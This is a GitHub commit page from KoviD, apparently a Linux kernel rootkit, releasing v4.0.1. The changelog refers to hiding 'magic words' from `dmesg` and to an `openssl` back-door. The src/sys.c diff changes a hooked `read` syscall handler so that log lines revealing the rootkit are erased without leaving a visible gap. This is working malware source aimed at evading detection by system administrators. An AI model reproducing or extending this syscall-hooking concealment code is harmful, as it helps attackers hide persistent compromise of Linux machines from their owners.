Skip to content

Commit

Permalink
Merge pull request #191 from carloslack/fix-line-gap
Browse files Browse the repository at this point in the history
Fix line gap
  • Loading branch information
carloslack authored Feb 25, 2025
2 parents 8f2879f + 96ff421 commit 4fe31e9
Show file tree
Hide file tree
Showing 3 changed files with 11 additions and 16 deletions.
5 changes: 5 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,12 @@ All notable changes to KoviD will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/).

## v4.0.1
### Fixed
- Fix `dmesg` (and others) gap created when hiding magic words

## v4.0.0
### Fixed
- Fix improper exit handling on connection termination (Ctrl+X)
- Fix `openssl` back-door timing kernel crash
- Fix `printk` debug leak in `DEPLOY` mode
Expand Down
20 changes: 5 additions & 15 deletions src/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -290,23 +290,13 @@ static asmlinkage long m_read(struct pt_regs *regs)
// if KoviD is here, skip
if (is_dmesg ||
is_sys_parent((unsigned int)PT_REGS_PARM1(regs))) {
// We'll add a new line
// without any timestamp
const char *obuf = "\n";
size_t olen = strlen(obuf);

if (olen > rv)
olen = rv;

if (copy_to_user((char __user *)arg, obuf, olen))
// Remove entire line
if (copy_to_user((char __user *)arg, "\0", 1))
goto leave;

if (olen < rv) {
if (copy_to_user((char __user *)arg + olen,
"\0", 1))
goto leave;
}
rv = olen;
// Return 1, otherwise user-space will
// think it's end of file and close it.
rv = 1;
}
}
leave:
Expand Down
2 changes: 1 addition & 1 deletion src/version.h
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#ifndef __VERSION_H
#define __VERSION_H

#define KOVID_VERSION "4.0.0"
#define KOVID_VERSION "4.0.1"

#endif // __VERSION_H

0 comments on commit 4fe31e9

Please sign in to comment.